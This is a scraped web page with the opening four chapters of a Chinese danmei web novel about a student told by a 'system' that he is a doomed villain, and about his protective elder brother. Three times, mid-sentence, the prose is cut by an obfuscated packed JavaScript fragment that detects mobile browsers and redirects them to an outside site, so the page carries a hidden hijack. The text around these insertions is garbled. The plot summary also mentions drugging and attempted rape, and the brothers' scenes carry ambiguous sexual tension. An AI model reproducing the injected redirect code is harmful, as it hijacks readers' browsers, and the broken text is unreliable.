《炮灰反派觉醒后》 1. 第一章 “所以你是说,这些事都是我干的?” 朗月现斜靠在沙发上,饶有兴致的看着眼前平白出现的悬浮屏幕,里面正在成阶段状的一幕幕播放着专属于“朗月现”的人生大戏。 “没错,所以宝是来拯救你的!”脑海中那个软糯的像个三岁孩童的声音又响了起来,顿了顿又语气埋怨的小声嘟囔:“所以说不叫宝救世主也就罢了,还一口一个小东西,一点也不尊重能够改变你命运的尊贵系统...” 不过话说回来...系统悄咪咪仔细地观察着面前的男人,明明看的是自己未来会发生的悲惨命运,甚至于有几个画面过分到系统都偷偷打上了马赛克。 他却一直表情悠闲的挂着戏谑的笑意,惬意地仿佛只是在欣赏一场有意思的闹剧电影,因为对主角感兴趣,反而更变得有趣了。 完全没有被认真对待嘛!系统气的跺脚。 直到画面定格在瓢泼大雨中、湿漉漉的地面和满地鲜红马赛克的车祸场景。 朗月现意犹未尽的问道:“没了?” 系统:“……” 系统难得的有点语塞,它觉得自己好像被这个人戏弄了,于是它实实在在的沉默了。 朗月现完全没意识到系统的难堪,他慢悠悠的伸了个懒腰,因为刚刚看了一个很有趣的故事,所以他现在很有几分耐心在。 朗月现仰着头靠在沙发上,懒洋洋地,仿佛跟朋友聊天一样自在地说道:“即使你很玄幻的可以在我脑海中同我虚空对话,但是我还是很难相信,你给我看的这个人会是我。” 系统急了,朗月现的脑子里出现急促的哗啦啦翻书声音:“你在质疑宝的专业程度吗,宝又不可能找错宿主。你,朗月现,小说《求你多看我一眼》里的反派炮灰,朗家二少爷,凭着优越的家境,仗势欺人无恶不作,惹了众怒之后下场凄惨的下线了,宝怎么会找错人嘛……” 朗月现今年18岁,高三毕业生,前不久刚以优异的成绩考入了国内顶尖大学金融系,正在家里享受学生时代最幸福的一个假期。 今天上午和朋友在后院烧烤的时候,不小心脚滑踩空掉进游泳池里,呛了几口水之后就有点低烧,被勒令在床上好好休养。 一觉睡醒之后,他脑子里的这个小东西就是这个时候开始说话的。 “咳咳,你好啊宿主,宝是你的救世主大人,不用客气,你也可以简称宝为主人……” 朗月现:“……?” 朗月现还以为自己烧出来幻觉了,他坐起身晃了晃脑子,试图清醒一点。然后脑海中的声音非常霸道不管不顾的自动开始一边在他眼前三百六十度放幻灯片,一边跟他口头讲解小说剧情。 根据这个声音非常幼齿的系统所言,自己所处的世界是一本名为《求你多看我一眼》的万人迷主受np耽美小说。 自己则是小说中必不可少,推动剧情,又坏又蠢的脸谱化反派。 典型俗套的故事情节,跋扈任性的反派上了大学之后仗着家中势力,不学无术仗势欺人。 每天除了嫉妒主角受的魅力就是霸凌同学做坏事,比如设法摔断了身为音乐系学生主角受的胳膊,让他没办法登台表演。 对家境贫寒,家中急需用钱的主角攻之一威逼利诱,霸凌让其当自己的狗。自己还对另外一个主角攻爱意深陷,但是主角攻的目光永远只会落在万人迷主角受身上,他一怒之下还企图霸王硬上弓,千钧一发之际被主角受阻止。 后又设计主角受中药,让他被别人欺辱并拍下艳照,被众主角攻得知后引发众怒,自己面临被迫退学等等。 不过这一切全被他的家人通过势力摆平了,这又让朗月现见识到了金钱和权利的诱惑力。接下来当然阻止不了他继续漫长又亢奋的作死之路。 他妄图同主角攻之一的他哥争家产,最后当然是输的彻底,还被他哥给赶出了家门,落魄的很。 于是,跟他有私仇的众主角攻们就来报仇了。 先是一件件复刻自己对主角受做过的一切迫害,在身心备受折磨之际,拖到声色场所被下药,后又带着满身狼藉被打断了腿,最后孤苦伶仃,无人在意,在某个大雨之夜被车子撞飞,死状凄惨。 朗月现伸出手打断了它的碎碎念:“这我刚刚都看到了,你跟我说点我更感兴趣的,比如,你到底是干嘛的。” 系统又支棱起来了:“本系统的全名为‘改变炮灰反派必死命运的全维度最强系统’,你拥有了宝,你就请好吧,咱从今天开始就库库支棱,死不了一点。” 朗月现闻言低笑一声,他嘴角扬起愉悦的弧度,好像完全没有把系统的死亡威胁放在心上,反而对他说的故事很感兴趣,但又不想表现的过于明显。 他不接话让本来趾高气扬的系统气焰又弱了下来,朗月现伸出手拿起杯子,润了润因为发烧而有些干哑的喉咙。 直到系统又开始哼哼唧唧,他才悠哉的开口:“你的故事很有趣,我听的很开心,所以你需要我做什么呢?” 系统听他的语气很是漫不经心,一眼看上去就是不当一回事的散漫态度,仿佛只是对一个无聊的话题随意的回应敷衍两句。 系统急的不行:“哎呀你要宝说几遍,这不是什么故事,这是你的命运,宝给你看的都是将来一定会发生的事情,你不害怕吗?你不要不当回事!” 朗月现面上还是挂着那副漫不经心的笑容,眼神却慢慢阴沉下来。 对,又是这句话,我的命运。 朗月现不了解什么万人迷耽美小说,也不关心自己身处的世界是什么所谓的虚拟维度。 他只关心一件事,就是系统口口声声所说的属于他自己的既定命运。 因为朗月现清楚的知道,无论再重复多少遍那场可笑的闹剧演出,他都非常确定。 那个书里的炮灰反派“朗月现”,绝对不是自己。 朗月现家世好,相貌好,几乎是从小众星捧月一般长大的。郎家虽然不是什么大户门庭,但是也称得上钟鼎之家。比不上那些世家几代人熏陶出来的底蕴,但是家教也是非常严格的。 朗月现实在是很难接受,那个又蠢又坏,嫉妒别人嫉妒到随时随地发疯的小丑会是自己。 朗月现自己便是受尽了万千宠爱于一身,他不能否认,自己在性格上确实有些缺点。 他在家人面前很会装乖,但在外长期处于高位,使得朗月现不可避免的高傲强势,甚至有些目中无人。这是他性格上的缺陷。 他本质上其实是个很冷漠的人,很难同别人共情,也很难理解别人或多或少流露出的强烈感情,对很多事都有种无所谓的倦怠感。 不过他自认为这种缺陷不过是无伤大雅的自身性格问题,并不会妨碍到旁人。 同样的,这也更能说明,他不可能像那本奇怪的小说中所描写的,因为喜欢一个人就做出许多不理智的过火行为,更不会因为嫉妒而长时间的去针对一个人。 朗月现光是想想就觉得麻烦,他根本懒得去做这种蠢事。 而且,朗月现活了十八年,他就当了十八年的直男。 就算这个世界按照系统所说是个什么所谓的耽美小说,他也确认自己不会因为得不到一个男人的爱就要死要活,伤天害理。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018962|162168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以朗月现根本不信那种凄惨的死法会出现在自己的命运线中。 但是看着那个所谓的系统上蹿下跳的着急模样,他也很难说服自己,这只是某个虚拟外星生物同自己开的一个无伤大雅的命运玩笑。 朗月现沉吟不语,自顾自沉思,系统只以为他不想配合,难过的一屁股坐在朗月现脑海中,委屈巴巴的哭诉道:“好啦,宝跟你讲实话。” 朗月现轻挑下眉:“哦?”事情还有什么转机吗? “其实宝不是什么‘全维度最强系统’,宝也是第一次接这个炮灰改变命运的系统任务,宝其实也有点找不到头绪,光听说这边积分高待遇好,宝就来了。”系统撇着嘴哼唧:“头一回就遇到了你这么难搞的宿主,宝只觉得统生无望……” 朗月现抿下唇线,颇有些无语。他心想,不用你说也能看出来你业务能力也就那样。朗月现本来就没准备说出口,怕给小东西惹生气,结果人家能听见他心里话,直接嚎啕大哭,哭到朗月现耳鸣。 朗月现只觉得无比头疼,他伸出手捏了捏眉心,深深叹了口气。 “别哭了,跟我说说你的任务要怎么做。” 系统一边哭到打嗝,一边抽搭着确认:“你要好好做任务吗?” 朗月现揉捏眉心的动作一顿。 过了好一会,才低声笑着说道:“当然了,这可是‘我的命运’,我自然要好好对待。” 系统闻言赶紧擦点眼泪,重新调整斗志:“好!那宝就放心了,你放心,等我们每通过一个关键节点获得积分之后,宝都不会亏待你的,宝有好多道具可以买来帮你的。” “关键节点?这是什么意思。” “就是每一个会决定你未来既定死亡结局的节点走向,都可以称为关键节点。”系统解释道:“你看,比如说你因为嫉妒主角受,对他所做的一系列坏事,让他的一些舔狗们对你产生恨意,造成你最后无人过问的惨状……” 朗月现忍不住打断它,只觉得好笑:“你真的觉得我会做那种事吗?” 系统愣了一下,接着狂摇他的数据脑袋:“你误会了,现在不是你会不会做,而是这些是一定会发生的事情。” 朗月现怔住,他想不通的歪了下头,问道:“什么意思?你是说,无论我做不做,这些事都会被迫发生?” “对,这是小说的维度世界,小说中写过的情节就一定会发生,不要小看世界的力量啊混蛋。” 朗月现简直要气笑了:“那你存在的意义是什么,既然事情注定会发生,那结局就一定不会出错,我还是一定会死。这不就是你所说的世界的力量吗,我作为炮灰就要有注定无法改变的命运。” “不。”系统严肃的摇了摇小手指:“我们要做的不是更改情节,而是在既定情节中改变事情的走向。” “比如说,小说中写了主角受的的胳膊会断,它就一定会断,但是你可以让他的胳膊不是因你而断。”系统的数据小手干脆利索的向下一挥,“这种改变是在世界意志的允许范围内的,所以我们只要攒齐足够的命运偏移节点,就可以成功的改变反派必死的结局。” 朗月现沉默了很久。 系统也很有眼色的没出声,直到朗月现紧簇的眉头松开,脸上又挂上了那副散漫的笑意:“到底是谁在安排你们做这些莫名其妙的事情。” 系统随意的摆摆手:“害,你不懂现在的老板们,就喜欢看这种桥段,要不是能赚得盆满钵满,我们主系统老大才不安排我们大批量从正经剧情跳槽到炮灰翻身呢……” 还没等朗月现再调侃几句,房间门被轻轻按下了把手。 2. 第二章 朗秉白惦记着弟弟发烧,动作非常轻的打算进屋查看一番。 没想到一推门就看到朗月现没什么坐相的靠在房间外小客厅的沙发上。 长腿交叠着搭在茶几上,乌黑漂亮的眼珠还因为发烧泛着雾蒙蒙的水汽,懒懒的耷拉着,但神情看上去还是闲散放松的。 听到动静,朗月现懒懒的抬眸望过去,看清来人,嘴角的弧度一瞬间变得几分戏谑。 下一秒便笑眯眯的甜甜唤了声:“哥。” 朗秉白长着一张十分标致端正的英俊面庞,他眉骨高挺,一旦压低了之后便显出几分难言的压迫感。 他就这么皱着眉走到朗月现身边坐下,侧着身子伸手探他额头试温度:“怎么就这么下床了,烧退了吗?” 朗秉白想尽量让语气显得严厉些,可在朗月现面前,他总是下意识就会放轻声音。本来准备指责小孩不好好在床上休息,却怎么听都带着几分宠溺意味。 朗月现一点也不怕他哥这种故作严肃的唬人表情,他想都没想的张嘴就来:“哥,我将来要跟你争家产。” 系统:“?!!!” 朗秉白:“?” 朗秉白先是一愣,反应过来之后一时间有点语塞,不由得失笑。 伸出手将朗月现打横抱起,轻手轻脚的放在床上,掖好被子,一边调试体温计一边说:“你不用跟哥争,所有的都是你的。哥以后给你打下手,当司机,你给哥一口饭吃就行。” 朗月现忍不住弯了唇角,笑的真心实意。他挑眉看了朗秉白一会儿,直到朗秉白拿开放在他额上的体温计,朗月现微微歪着头,趁着他哥低头查看体温,眼底闪过一丝耐人寻味。 他轻声开口:“你只是嘴上说的好听,我要是真的跟你争,你只会狠心地把我赶出家门,任由各路鬣狗围上来把我啃的骨头都不剩。” 朗秉白终于意识到不对劲了,他陡然抬头,眼里闪过一丝错愕,脸上满是不可思议。 他怔愣的看向朗月现,自己那个从小到大捧在手心里的小弟弟,脸上的表情惆怅又悲伤,似乎并不是在跟他开玩笑。 朗秉白眼中有一点困惑,还有些不知名的愤怒和震惊。 他几乎是小心翼翼的去牵朗月现的手,没有被甩开这让他不由得暗暗松了一口气。他轻声的,用异常温柔的语气问道:“怎么了,是谁跟小月说什么了么?小月为什么会这么同哥哥说话?” 朗月现起了逗弄的坏心,看到他哥这幅诚惶诚恐的样子更是来劲。他有点忍不住想笑,只能垂下头,长睫遮住了他眼底的神色,他故意拖着腔调,闷着声音:“你就是会这样。” 朗秉白脸上的表情慢慢消失,眼中闪出几分暴怒的戾气,一股无可抑制的愤怒在他的血管里翻涌。 是谁在挑拨他们兄弟间的感情,背着他对小月说这种该死的浑话。 紧接着他神色一凝,突然又想到了什么,握着朗月现的手都猛然一僵。 下一秒,轮廓分明的下颌线条都紧绷起来,脸色彻底阴沉下来。 朗秉白为人严谨淡漠,向来进退有度,很少动怒。但是这一刻他是真的想将同朗月现乱说话的那个人掘地三尺地找出来,让他知道什么叫祸从口出。 朗月现看着两人交握的手,抬眸扫了一眼突然莫名浑身僵硬起来的朗秉白。 朗秉白可以算的上是朗月现认识过的最标致、最沉稳正直的人。待人温和从容,稳重有礼,给人一种修养很好的印象,在朗月现心里可以说是正的发邪。 朗秉白比朗月现大了九岁,从小到大对他这个弟弟可以说是百依百顺,好的挑不出一丝毛病。 让他哥因为所谓的家产和莫须有的爱人就要同从小一起长大,关系极好的兄弟反目成仇,别说朗秉白,朗月现觉得自己都做不到。 朗秉白几乎从没在朗月现面前发过脾气,从小到大连句脏话都没说过,涵养极好,仿佛永远情绪稳定。 朗月现一直觉得只要有他哥在,发生什么事都算不得大事。以至于只要待在朗秉白身边,朗月现天然会有极大的安全感。 他只是坏心眼想逗他哥玩,但是朗秉白这幅完全掩饰不住,风雨欲来的怒气是他没料到的。 他也是第一次见朗秉白在自己面前生这么大的气。朗月现若有所思,这才意识到朗秉白真的有事情瞒着自己。 朗月现丝毫不慌,试图再诈出点事情来。他拖腔带调地“啊”了声,满脸伤心,一副“你果然如此”的模样。 朗月现有个非常动人的特征,他的眼睛很明亮。 瞳仁比常人都要大一些,乌黑明亮,神采飞扬,不含一点杂质的干净清澈。世间的一切光源都会在他的眼瞳中变成星星倒映出来,没有人能在看见他的眼睛后忍得住惊叹。 此刻朗月现就用着那双因为发着低烧,水雾蒙蒙的眼瞳,湿漉漉地闪着点点、细碎的流光,乖巧又哀伤的看向自己。 朗秉白喉咙一梗,满腔的怒火都被弟弟眼里的委屈给硬生生压下去了,他小心翼翼蹲在朗月现床前,握着他的手为了控制力度,僵硬的指节发白。 朗秉白心里慌的脸色都有些苍白。他良久才开口,说得很慢,声音很轻:“小月,你不要误会哥哥好不好……” 朗月现听着朗秉白的声音都哑了,这才满意的决定暂时放过这个可怜的家伙,眨了眨眼睛,笑的乖巧:“好。” 朗秉白的情绪还在不安和暴怒的边缘游走,他依旧觉得呼吸不畅,喘不过气,低哑着声音又问:“是谁和你乱说话了吗,小月?” 他看到朗月现点了点头,深沉如墨的眼眸像是终于找到了发泄怒火的目标。他本身就是轮廓分明的冷峻模样,如今鲜见的动了怒,眉眼间的压迫感成倍的增加。 朗秉白即使在盛怒之中,对着朗月现的语气还是缓了又缓的柔和:“告诉哥是谁。” 朗月现淡淡撇他一眼,慢条斯理地开口:“一个小东西。” 系统完全直面朗秉白的怒火,朗月现不怕他哥,它可是都快吓哭了。这时候听见朗月现眼睛都不眨的给自己出卖了,两眼一翻就准备表演一个当场晕倒,也不管它作为一个跨维度生物到底能怎么被教训。 朗秉白表情一滞:“啊?什么……小东西?” 朗月现唇角轻勾,眯着眼睛不紧不慢地说:“说不清,梦过去太久了,记不清了。” 朗秉白:“……” 他一声不吭的从地上站起来,坐回床边,伸出手拿过弟弟的杯子,恶狠狠的灌了一口。 接着又从旁边拿过药,开始研究有没有将他可爱的弟弟变得如此可恶的副作用。 朗月现好整以暇的看着他笑,朗秉白终于深深的叹了口气,所有的压得他喘不过气的怒火和惶恐都急迫的顺着无奈地叹气从体内消散出去。 自己怎么会拿他一点办法都没有呢。 朗秉白刚刚还被怒火冲击到整个人都在发抖,此时看见朗月现坏心眼的笑容,眉眼便控制不住的越发柔软。眼中带着一点无可奈何,还有将将满溢出来的温柔纵容。 朗月现看着目光久久在自己身上流连,不舍离开分毫的哥哥,那眼中无尽的宠溺几乎要将他密不透风地包裹起来。 他眉心微动,垂头笑了笑。 这才是他的哥哥,无论自己做什么,永远不会背叛的,温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018963|162168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔又强大的后盾。 朗月现小时候,觉得他哥不善言辞,一板一眼,沉稳的不像个小孩子,连过家家都不想跟他一起玩。 但是他哥力气大,个子又高,抱着他能一整天都不撒手。朗月现就窝在他怀里,指挥他干这个干那个,朗秉白通通照办,指哪打哪,对他弟弟的任何无理要求都言听计从,甘之如饴。 有时候连家里大人都看不下去,让朗月现少折腾他哥。朗秉白还反过来不乐意,抱着冲大人们做鬼脸的朗月现跑的飞快,像是捧着个宝贝,恐怕被人夺去。 朗月现向来是人小鬼大,聪明的很,他一直知道朗秉白很爱他。从小到大,他哥那双冷峻深沉的眼睛,看向他时总是饱含着浓烈又鲜明的感情。他甚至有些理解不了,一个人会对另一个人产生这么深刻的感情吗? 朗月现生性凉薄,难得好奇,有时看着他哥的眼睛,都觉得承受不住这份爱意。 他可以不相信这个系统所说的“小说虚拟世界”中的任何东西,但是绝对不会怀疑朗秉白对他的感情。 他如今这个自负自我,无法无天的性子,有一大半的原因来自他哥这个始作俑者。 那个因为所谓的家产就将自己扫地出门,任由他自生自灭,被报复者任意折磨的人,只能是披着哥哥皮的伥鬼。 同那个假的“朗月现”一样,都是被所谓的世界意志硬生生变成“鬼”的活体傀儡。 朗秉白靠过来,手扶住朗月现的后颈,将他的额头贴向自己,细细感受温度后,安抚的揉了下他的头发。 面对朗月现询问的目光,他微微勾起唇角,伸手整理了一下弟弟额前被拨乱的细碎刘海:“温度计显示是正常,可我看你好像还是有点低烧,再躺一会吧。” 朗月现估摸着自己是被突如其来的庞大信息量轰炸的脑子发晕,确实觉得不是很舒服,乖乖的应了一声。 他靠在床头思索的盯着哥哥,想着那个所谓的主角受到底何德何能,能将自己这位简直挑不出缺点的哥哥迷的神魂颠倒,玩弄于股掌之中。 思及此,他突然反应过来,哥哥原来是喜欢男人的啊。 嘴角的弧度突然变得揶揄起来,朗秉白刚要扶着弟弟躺下,抬头就看见一张坏笑着的脸。 朗秉白:“……” 还没等他问出来这又是寻思什么坏主意呢,就见朗月现突然伸出脚,踩在了他的大腿根上。 朗月现脚踩的位置很有分寸,再往前一分就是过界了,但是现在这个位置也不是男人的心理安全位置。 两人之间的气氛一时非常沉默。 朗月现动完就后悔了,在心底狠狠啧了一声,自己这是干什么呢,就算哥哥喜欢男人,我是他弟弟,这难道能试出什么来? 自己这突如其来的恶趣味,不经过大脑思考的举动,完全就是平时被惯出来的下意识反应,单纯就是不用承担后果的使个坏。 朗月现刚要把脚收回去,乍一动作,竟然被朗秉白一把握住了脚踝。 不但没收走,还被挪着踩到了一个大腿处更加过分的位置。 朗秉白喉结滚动了一下,他也不知道自己这是在做什么,他几乎是有些狼狈地躲开了同朗月现的对视。 他没解释,也没松开手,就这么结实的握着,也不许人走。 另一只手还直接盖在了手中牢牢把控住的脚面上,朗月现细嫩的脚便被滚烫的手掌完全包裹住了。 朗秉白清了清嗓子,眼神飘忽,左看右看,就是不看朗月现,手还在脚上轻轻磨挲:“……脚冷是么,哥给你捂捂。” 七月份的天,朗月现完全不知道他哥突然发的什么疯。 3. 第三章 朗月现很快就睡熟了,朗秉白在他床头坐着,看了很长时间之后才回过神来。 抬头一看,外面天都黑了,弟弟缩在被子里的面容被夜色笼罩的已经看不真切。 朗秉白这才轻手轻脚的离开了朗月现的房间。 关上门后,嘴角眉梢那柔软的弧度慢慢阴沉下来。 他今天失态了,暴露出这么难看的姿态,还是在他弟弟面前。 朗秉白被朗父带在身边亲自教导的时候开始,他就已经学会喜怒不形于色了。 他从小就寡言少语,没有像他这种身份地位的年轻人身上普遍的戾气和傲慢。 就算心里再怎么愤怒焦躁,面上也是八风不动,不显山不露水,看起来非常稳重。 这是朗秉白对自己为人处世中最基本的要求。不管是在谈判桌,还是各种名流宴会,他认为无论什么情况下,被别人看出自己外露的情绪,都是一种令人羞愧的失败者作风。 朗秉白已经不记得有多少年,难得地感受到像这样几近失控一般的情绪。同所有的正常人一样,被坦诚的情绪所裹挟。 他演练过千百遍的得体笑容,在面对朗月现的时候,崩坏的一塌糊涂。 而很明显,现在有人踩着他的理智边缘,把主意打到了朗月现身上,试图以此挑衅他。 他根本不信朗月现那所谓的“梦境”解释,只是当时那个情况,朗月现选择用一个理由掩饰过去,他不愿逼迫弟弟说出实情,也不想继续再在他面前暴露出这么难看的姿态。 他眉眼间的怒火几乎凝成实质,刀一般的锋利,掏出手机打给特助,低沉的嗓音中压抑着愠怒:“查一下最近有没有谁跟小月说了什么不该说的。” “尤其是那些知情者,一个个查。” 朗秉白脸色阴沉沉的站在走廊处,下颌紧绷,眼眸霎时划过一抹狠色。他扬起脖颈,扯了扯领口,松开上面几颗扣的永远妥帖板正的纽扣。 “你去挨个警告他们,在我亲自和小月坦白之前,无论是谁胆敢在他面前多说一个字,我会让他后悔长了舌头。” —— 在大学开学之前,除了一些一直就在涉及培养的兴趣爱好,朗月现还去系统学习了泰拳和自由搏击。 他很难解释自己是什么出于心理,总觉得离开学时间越近,就好像一个真实的恐怖剧本杀游戏一步步向自己逼进。唯一的一点点欣慰是进入这个恐怖剧场的时间和剧情他都已经了解了。 朗月现想的是多几个技能傍身,心里多少能有点安慰,毕竟一切恐惧都是来源于火力不足。朗月现在搏击教练的教导下一边挥拳一边细细思索,好几次因为出神差点被教练的拳头扫到脸上。 被教练严肃警告了几次,朗月现喘息片刻才定下心神,眼神锋利的盯住面前的教练,点头示意对方攻过来。 等到今天的一整套系统课程结束后,朗月现将汗湿的发捋到脑后,扭了扭脖子,慢慢活动着筋骨。他边拿起毛巾擦汗,边扭头状似不经意地问道:“还有没有什么,杀伤力更强的招式?” 像朗月现这种为了自身安全来学习技巧搏击的富家子弟不在少数,但一般都只需要普通的自保防身招式便足够了。 而朗月现来的第一天就表明自己在这里所有的学习都是为了最高规格的自由搏击,所以像那种糊弄小孩的防卫招式,绝对不要在他宝贵的训练周期里出现。 教练对这个学生的印象很深刻,除去他类似于“不要对自己手下留情”的各种特殊要求,还因为在刚开始训练时,朗月现还表现的像是个从没接触过自由搏击的初学者,手脚笨拙,动作也不到位。不过一周左右的时间,朗月现的力量和速度方面就进步得让教练瞠目结舌。 不仅如此,连各种招式动作都变得更加流畅,看上去非常专业。教练还以为见到了天赋异禀的天才学生,朗月现却摇了摇手指,一脸无奈地纠正道:“因为我哥给我加练了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018964|162168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 朗秉白虽然不太懂他弟弟经常冒出的一些突如其来的想法,但是他对朗月现的态度一直都是“可以不理解但是绝对支持”,主打一个无条件纵容。 朗秉白的综合格斗技巧非常厉害,如果不是平时集团事情多得他实在抽不开身,他怎么也不会将弟弟交给别的人训练。 因为是朗月现如今正在兴头上的爱好,朗秉白不顾弟弟的各种劝阻,执意要参与弟弟所有的人生轨迹。就算一天只能挤出两三个小时的休息时间,他也要陪弟弟在楼下健身房练习上一会儿。 —— 教练听到朗月现的问题,手上缠绷带的动作都停了下来:“我觉得以你现在的能力,已经能处理绝大多数特殊情况了。我记得你是不是还练了泰拳?刚刚跟我对招的时候好几个动作都是泰拳的着力点,泰拳的杀伤力已经很高了,你不需要再额外学习任何的格斗术了。” 朗月现得到了答案,心里想着要是搞些热兵器,估摸着到底是犯法的……一边不走心地随意点着头回应,一边扣上了鸭舌帽压低帽檐往外走。 教练不知道想到了什么,紧走几步伸出手拉住了朗月现的胳膊,表情严肃地问道:“你是不是遇到什么麻烦了?不好跟家里人说的话,你可以告诉我。” 朗月现怔了一下,半仰起头透过帽檐看了看教练,接着低下头笑了一声。教练的角度只能看到他的黑色帽檐阴影下露出的小半张脸,他的嘴唇颜色偏红,笑起来的弧度格外的诱人。 他说话的声音带着点笑意,随性又散漫,听得人心里痒的难耐。 那懒洋洋的腔调总是配合着脸上带着一丝戏谑的“坏笑”时出现:“我好怕麻烦的。” “放心,以防万一罢了。” 直到戴着鸭舌帽的高挑少年消失在自己的视线中,教练才恍然清醒过来。他低头看了看自己刚还握着少年小臂的手掌,慢慢的抬起来,放在鼻尖轻轻的嗅了一口。 “好香……” 4. 第四章 朗月现到家先洗了个澡,从浴室出来时发现朗秉白已经回来了,正坐在自己房间的外间客厅里摆弄桌上的摆件。 看见朗月现出来,嘴边不自觉的扬起笑意,朗秉白起身迎过去,自然的拿过他手中的浴巾,熟练的,动作轻柔地为朗月现擦头发。 “唔……可以了。”朗月现扭着头想躲,被朗秉白力度温柔却又不容置疑的再次摆正。 “要再擦干一点。”朗秉白低着头看着乖乖靠在他胸前的朗月现,眼角眉梢都满是笑意。胸口的烦闷一扫而空,心里溢满了不可思议的满足感。 今天集团一个跟进了很久的合同出了岔子,金额巨大,如果按照合同条款推进,会给双方都造成很大的利益损失。朗氏集团作为出错方,需要承担百分之八十以上的经济损失。 合作方的电话都打到朗父那里去了,接完朗父的电话,朗秉白雷厉风行地召集所有相关人员安排合同事宜。他的声音低沉有力,沉稳冷静的态度一时间让慌乱的团团转的工作人员强行安定下来。 各个部门果断迅速的执行领导的安排,更改执行方案,不过半天时间,朗秉白就几乎扭转了大部分不利局面。 在各部门负责人和对接方都终于松了一口气的时候,朗秉白快速处理完剩下的收尾工作,交代完后续事务,几乎是一刻也没停留的飞奔回了家。 听到保姆说朗月现已经回来了,朗秉白呼吸都变得顺畅起来。他长舒了一口气,简单的冲了个澡,换了身衣服,就直接进了弟弟的房间。 在充斥着弟弟味道的空间里难耐的转了几圈,胸口那股烦闷的感觉才终于平息下来,乖乖地坐在沙发上等他出来。 不管遇到什么问题,控制好情绪,冷静的解决所有突发事件是朗秉白这么多年以来已经形成的下意识习惯。 只不过朗秉白也是人,无法做到所有事都未雨绸缪,这次的危机即使他镇定自若,依旧可靠地将事情处理的完美无缺,井然有序。 但是那股几乎按耐不住的暴虐情绪还是难免在他身体里乱闯乱撞。 朗秉白一旦意识到情绪即将失控,他都会下意识的去寻找朗月现的身影。 朗秉白刚进入集团工作的时候,离成年还要差几个月,他并没有从基层做起,而是以朗父的特助身份,直接接触集团的核心事业。 因其身份特殊,不少集团上层都对此或多或少表示过不满,所有的质疑声都被朗父压了下来。 只不过越是这样,朗秉白心里压力就越大。他面上波澜不惊,其实心里非常焦急的想做出点成绩给集团上层和股东看,让替他抗下所有不满和质疑的朗父能够为他骄傲。 越是焦虑越是容易忙中出错,朗月现完全依靠自己成交的第一个大单在最后签约时出了问题,朗父出面将全部责任都担了下来。 其实情况并不严重,朗父没费什么功夫就处理妥当了,但朗秉白当天夜里还是急火攻心的发了高烧。 朗秉白半夜起得高烧,没有人发觉。烧得头晕脑胀,迷迷糊糊之际,被窝里突然鼓鼓囊囊老半天,怀里挤进来一个圆滚滚的小脑袋瓜。 朗秉白撑着滚烫的半边身子,低头看怀里头发乱糟糟,眼睛闪亮亮的小孩。 声音因为高烧变得喑哑:“怎么了小月?” 朗月现哼哼唧唧使劲往他哥怀里钻,一声也不吭。 被窝里被小孩的体温烘出一股暖呼呼的草莓牛奶味,甜腻的味道闻得朗秉白浑浑噩噩的,感觉脑子都不转了。 又担心朗月现刚开始上学,是不是在外面受欺负了。他强撑起一丝清明,捏住小孩的下巴,努力将目光聚焦在朗月现脸上:“告诉哥哥,怎么了,有人欺负你吗?” 朗月现委屈巴巴的仰着张小脸,伸出手贴了贴朗秉白的脸,朗秉白只觉得那小手跟冷玉一样贴在他脸上,舒服的要命。 他刚要握住那块冰凉柔软的冷玉,怀里的小孩掀开被子鞋都没穿,啪嗒啪嗒地就跑出去了。 朗秉白心里一急,撑起身子也要跟着下床把朗月现抱回来穿上鞋子。刚一张嘴想要喊人,突然止不住的开始剧烈咳嗽。 咳到他整个人坐在床边弯下腰,手上连弟弟的鞋都拎不住。直到有人一下下轻抚他的后背,朗秉白才抬起咳得涨红的脸看向旁边。 朗月现白着一张小脸,嘴巴抿的紧紧的,眼里满是担忧的看着自己。一只手不停的轻轻拍打自己的背,另一只手里还端着温水和药片。 朗秉白突然就觉得没那么难过了,平日里那些像一座大山压在他身上,几乎要击垮他的事情都算不得什么了。 看见朗月现眼睛里的紧张担忧,空荡荡的内心仿佛一瞬间便被填满了。 谁的偏见,谁的冷嘲热讽都不要紧,任何事情都不重要了。只要朗月现还在他身边,就足够了。 朗秉白乖乖的吃了药,重新躺在了床上,刚刚伸开双臂,软乎乎的小孩就自动钻进了自己怀里。 小孩凉凉的侧脸贴着朗秉白滚烫的颈窝,舒服地他长舒了一口气。朗秉白只觉得心中如释重负,轻轻地调整了一下姿势,让朗月现在他怀里躺的更舒服,安心又满足的怀抱着弟弟睡了过去。 烧了一夜的病号醒的都要比习惯性赖床的朗月现还要早,朗秉白低头看着弟弟的睡颜,忍不住的用指腹蹭了蹭在他怀里闷得两颊微红的脸蛋,心口被幸福充盈地砰砰直跳。 